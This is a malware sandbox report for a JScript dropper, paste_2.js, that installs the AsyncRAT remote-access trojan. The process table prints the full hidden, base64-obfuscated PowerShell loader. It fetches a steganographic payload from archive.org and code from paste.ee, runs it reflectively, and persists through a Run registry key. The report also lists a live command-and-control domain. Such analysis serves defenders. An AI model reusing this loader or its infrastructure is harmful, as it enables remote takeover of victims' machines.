| File name: | paste_2.js |
| Full analysis: | https://app.any.run/tasks/a9c5d1b5-377a-49f7-88d5-6a6ac82d0b06 |
| Verdict: | Malicious activity |
| Threats: | AsyncRAT is a RAT that can monitor and remotely control infected systems. This malware was introduced on Github as a legitimate open-source remote administration software, but hackers use it for its many powerful malicious functions. |
| Analysis date: | April 29, 2025, 09:29:11 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/plain |
| File info: | ASCII text, with very long lines (318), with CRLF line terminators |
| MD5: | 5A8E2C737A0B532840BE9474443617B6 |
| SHA1: | 55302F01D7DF89DB6E81D55F1CEBFB4CB59CD0F5 |
| SHA256: | 5BFEDB358B5EBE7DB6793DFB87885FD08D547CDEA786659654BC717C98825A00 |
| SSDEEP: | 384:9cvcvcvcvcvcvcvcvcvcvocvcvcvcvcvcvcvcvcvcvocvcvcvcvcvcvcvcvcvcvC:Un |
MALICIOUS
Run PowerShell with an invisible window
- powershell.exe (PID: 7508)
Downloads the requested resource (POWERSHELL)
- powershell.exe (PID: 7508)
Dynamically loads an assembly (POWERSHELL)
- powershell.exe (PID: 7508)
Starts Visual C# compiler
- powershell.exe (PID: 7508)
ASYNCRAT has been detected (YARA)
- csc.exe (PID: 7836)
SUSPICIOUS
Starts POWERSHELL.EXE for commands execution
- wscript.exe (PID: 7436)
Runs shell command (SCRIPT)
- wscript.exe (PID: 7436)
The process bypasses the loading of PowerShell profile settings
- wscript.exe (PID: 7436)
Base64-obfuscated command line is found
- wscript.exe (PID: 7436)
Possibly malicious use of IEX has been detected
- wscript.exe (PID: 7436)
Probably obfuscated PowerShell command line is found
- wscript.exe (PID: 7436)
Executes script without checking the security policy
- powershell.exe (PID: 7508)
Potential Corporate Privacy Violation
- powershell.exe (PID: 7508)
Uses base64 encoding (POWERSHELL)
- powershell.exe (PID: 7508)
Starts CMD.EXE for commands execution
- powershell.exe (PID: 7508)
Likely accesses (executes) a file from the Public directory
- cmd.exe (PID: 7752)
Connects to unusual port
- csc.exe (PID: 7836)
INFO
Uses string replace method (POWERSHELL)
- powershell.exe (PID: 7508)
Converts byte array into Unicode string (POWERSHELL)
- powershell.exe (PID: 7508)
Checks proxy server information
- powershell.exe (PID: 7508)
- slui.exe (PID: 8048)
Disables trace logs
- powershell.exe (PID: 7508)
Gets data length (POWERSHELL)
- powershell.exe (PID: 7508)
Found Base64 encoded text manipulation via PowerShell (YARA)
- powershell.exe (PID: 7508)
Checks supported languages
- csc.exe (PID: 7836)
Reads the computer name
- csc.exe (PID: 7836)
Reads the machine GUID from the registry
- csc.exe (PID: 7836)
Reads the software policy settings
- slui.exe (PID: 8048)
Found Base64 encoded reflection usage via PowerShell (YARA)
- powershell.exe (PID: 7508)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Total processes
128
Monitored processes
8
Malicious processes
3
Suspicious processes
0
Behavior graph
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Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
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| 2196 | C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache | C:\Windows\System32\svchost.exe | services.exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Host Process for Windows Services Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 7436 | "C:\Windows\System32\WScript.exe" C:\Users\admin\Desktop\paste_2.js | C:\Windows\System32\wscript.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.812.10240.16384 Modules
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| 7508 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c "$gigalitres = 'JABwAG8AbAB5AG0AZQB0AGgAeQBsACAAPQAgACcAMAAvAFYASQB1AHcAQQB5AHoARQAvAGQALwBlAGUALgBlACMAcwBhAHAALwAvADoAcwBwACMAIwBoACcAOwAkAHMAdQBwAGUAcgBoAGUAcgBvAGkAbgBlAHMAIAA9ACAAJABwAG8AbAB5AG0AZQB0AGgAeQBsACAALQByAGUAcABsAGEAYwBlACAAJwAjACcALAAgACcAdAAnADsAJABxAHUAYQB0AHIAaQBiAGwAZQAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwBhAHIAYwBoAGkAdgBlAC4AbwByAGcALwBkAG8AdwBuAGwAbwBhAGQALwBuAGUAdwBfAGkAbQBhAGcAZQBfADIAMAAyADUAMAA0ADEAMwAvAG4AZQB3AF8AaQBtAGEAZwBlAC4AagBwAGcAJwA7ACQAYgBlAGcAdQBpAGwAdAB5ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGIAZQBnAHUAaQBsAHQAeQAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJwBNAG8AegBpAGwAbABhAC8ANQAuADAAJwApADsAJABzAHAAZQBjAGkAbwBsAG8AZwB5ACAAPQAgACQAYgBlAGcAdQBpAGwAdAB5AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAHEAdQBhAHQAcgBpAGIAbABlACkAOwAkAGMAbwByAGIAZQBsAGEAdABlAGQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABzAHAAZQBjAGkAbwBsAG8AZwB5ACkAOwAkAHQAbwBjAHMAaQBuACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgAnADsAJABqAGEAcwBtAHMAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBFAE4ARAA+AD4AJwA7ACQAYQBiAGwAaQBnAGEAdABlAHMAIAA9ACAAJABjAG8AcgBiAGUAbABhAHQAZQBkAC4ASQBuAGQAZQB4AE8AZgAoACQAdABvAGMAcwBpAG4AKQA7ACQAbQBhAGsAYQByAG8AbgAgAD0AIAAkAGMAbwByAGIAZQBsAGEAdABlAGQALgBJAG4AZABlAHgATwBmACgAJABqAGEAcwBtAHMAKQA7ACQAYQBiAGwAaQBnAGEAdABlAHMAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABtAGEAawBhAHIAbwBuACAALQBnAHQAIAAkAGEAYgBsAGkAZwBhAHQAZQBzADsAJABhAGIAbABpAGcAYQB0AGUAcwAgACsAPQAgACQAdABvAGMAcwBpAG4ALgBMAGUAbgBnAHQAaAA7ACQAaABlAHIAdAB6AGkAYQBuACAAPQAgACQAbQBhAGsAYQByAG8AbgAgAC0AIAAkAGEAYgBsAGkAZwBhAHQAZQBzADsAJABrAGkAcgBzAG8AbQAgAD0AIAAkAGMAbwByAGIAZQBsAGEAdABlAGQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAYQBiAGwAaQBnAGEAdABlAHMALAAgACQAaABlAHIAdAB6AGkAYQBuACkAOwAkAGIAYQBsAGQAYQBjAGgAaQBuACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGsAaQByAHMAbwBtACkAOwAkAGEAYgBiAGEAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABiAGEAbABkAGEAYwBoAGkAbgApADsAJABwAGEAcgBsAG8AdQBzACAAPQAgAFsAZABuAGwAaQBiAC4ASQBPAC4ASABvAG0AZQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAFYAQQBJACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIABbAG8AYgBqAGUAYwB0AFsAXQBdACAAQAAoACQAcwB1AHAAZQByAGgAZQByAG8AaQBuAGUAcwAsACcAMQAnACwAJwBDADoAXABVAHMAZQByAHMAXABQAHUAYgBsAGkAYwBcAEQAbwB3AG4AbABvAGEAZABzACcALAAnAGYAbABhAG4AZQB1AHIAcwAnACwAJwBjAHMAYwAnACwAJwAnACwAJwAnACwAJwAnACwAJwAnACwAJwAnACwAJwAnACwAJwBqAHMAJwAsACcAJwAsACcAJwAsACcAJwAsACcAMgAnACwAJwAnACkAKQA=' -replace '','';$spoonage = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($gigalitres));Invoke-Expression $spoonage;" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wscript.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 7516 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 7752 | "C:\Windows\System32\cmd.exe" /C copy *.js "C:\Users\Public\Downloads\flaneurs.js" | C:\Windows\System32\cmd.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 7760 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 7836 | "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Visual C# Command Line Compiler Version: 4.8.9037.0 built by: NET481REL1 Modules
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| 8048 | C:\WINDOWS\System32\slui.exe -Embedding | C:\Windows\System32\slui.exe | svchost.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Activation Client Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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Total events
9 844
Read events
9 842
Write events
2
Delete events
0
Modification events
| (PID) Process: | (7436) wscript.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows Script\Settings\Telemetry\wscript.exe |
| Operation: | write | Name: | JScriptSetScriptStateStarted |
Value: 07D2100000000000 | |||
| (PID) Process: | (7508) powershell.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
| Operation: | write | Name: | Path |
Value: C:\Users\Public\Downloads\flaneurs.js | |||
Executable files
0
Suspicious files
1
Text files
3
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 7508 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_5liqcili.2dd.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 7752 | cmd.exe | C:\Users\Public\Downloads\flaneurs.js | text | |
MD5:D552AFE0B5135D6BA9DD20B62B753E31 | SHA256:1D9773BAAECF59BEFCA2462C8ABBE5332688F25236F41E4F7505E94DDD71744C | |||
| 7508 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_2shvnomc.szj.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 7508 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:EDAC47E9F3748AEEFF70D8B17F409057 | SHA256:E11EE7430657A1C1B970FCAA4667962DFC5ECB697D8BC130C3264BE5A364171F | |||
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HTTP(S) requests
7
TCP/UDP connections
33
DNS requests
9
Threats
16
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
6708 | RUXIMICS.exe | GET | 200 | 23.216.77.25:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
6708 | RUXIMICS.exe | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
— | — | GET | 302 | 207.241.224.2:443 | https://archive.org/download/new_image_20250413/new_image.jpg | unknown | — | — | — |
— | — | GET | 200 | 207.241.227.90:443 | https://ia601700.us.archive.org/6/items/new_image_20250413/new_image.jpg | unknown | image | 3.03 Mb | whitelisted |
— | — | GET | 200 | 23.186.113.60:443 | https://paste.ee/d/EzyAwuIV/0 | unknown | text | 84.0 Kb | shared |
— | — | POST | 500 | 40.91.76.224:443 | https://activation-v2.sls.microsoft.com/SLActivateProduct/SLActivateProduct.asmx?configextension=Retail | unknown | xml | 512 b | whitelisted |
— | — | POST | 500 | 40.91.76.224:443 | https://activation-v2.sls.microsoft.com/SLActivateProduct/SLActivateProduct.asmx?configextension=Retail | unknown | xml | 512 b | whitelisted |
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Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
6708 | RUXIMICS.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
— | — | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
6708 | RUXIMICS.exe | 23.216.77.25:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
6708 | RUXIMICS.exe | 23.35.229.160:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
7508 | powershell.exe | 207.241.224.2:443 | archive.org | INTERNET-ARCHIVE | US | whitelisted |
7508 | powershell.exe | 207.241.227.90:443 | ia601700.us.archive.org | INTERNET-ARCHIVE | US | whitelisted |
7508 | powershell.exe | 23.186.113.60:443 | paste.ee | — | — | shared |
7836 | csc.exe | 177.255.84.173:6090 | deadpoolstart2051.duckdns.org | Colombia Movil | CO | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
archive.org |
| whitelisted |
ia601700.us.archive.org |
| whitelisted |
paste.ee |
| shared |
deadpoolstart2051.duckdns.org |
| malicious |
activation-v2.sls.microsoft.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
— | — | Misc activity | INFO [ANY.RUN] USER_AGENTS Suspicious User-Agent (Mozilla/5.0) |
— | — | Misc activity | INFO [ANY.RUN] USER_AGENTS Suspicious User-Agent (Mozilla/5.0) |
— | — | A Network Trojan was detected | PAYLOAD [ANY.RUN] Base64 encoded PE EXE file inside JPEG image |
— | — | A Network Trojan was detected | PAYLOAD [ANY.RUN] Stegocampaign Jpeg with base64 added (TA558) |
— | — | A Network Trojan was detected | ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2 |
7508 | powershell.exe | Potential Corporate Privacy Violation | ET INFO Pastebin-style Service (paste .ee) in TLS SNI |
2196 | svchost.exe | Misc activity | ET INFO Pastebin-like Service Domain in DNS Lookup (paste .ee) |
— | — | Exploit Kit Activity Detected | ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M1 |
— | — | Potentially Bad Traffic | PAYLOAD [ANY.RUN] Reverse Base64 Encoded EXE Inbound |
— | — | A Network Trojan was detected | ET MALWARE Reverse Base64 Encoded MZ Header Payload Inbound |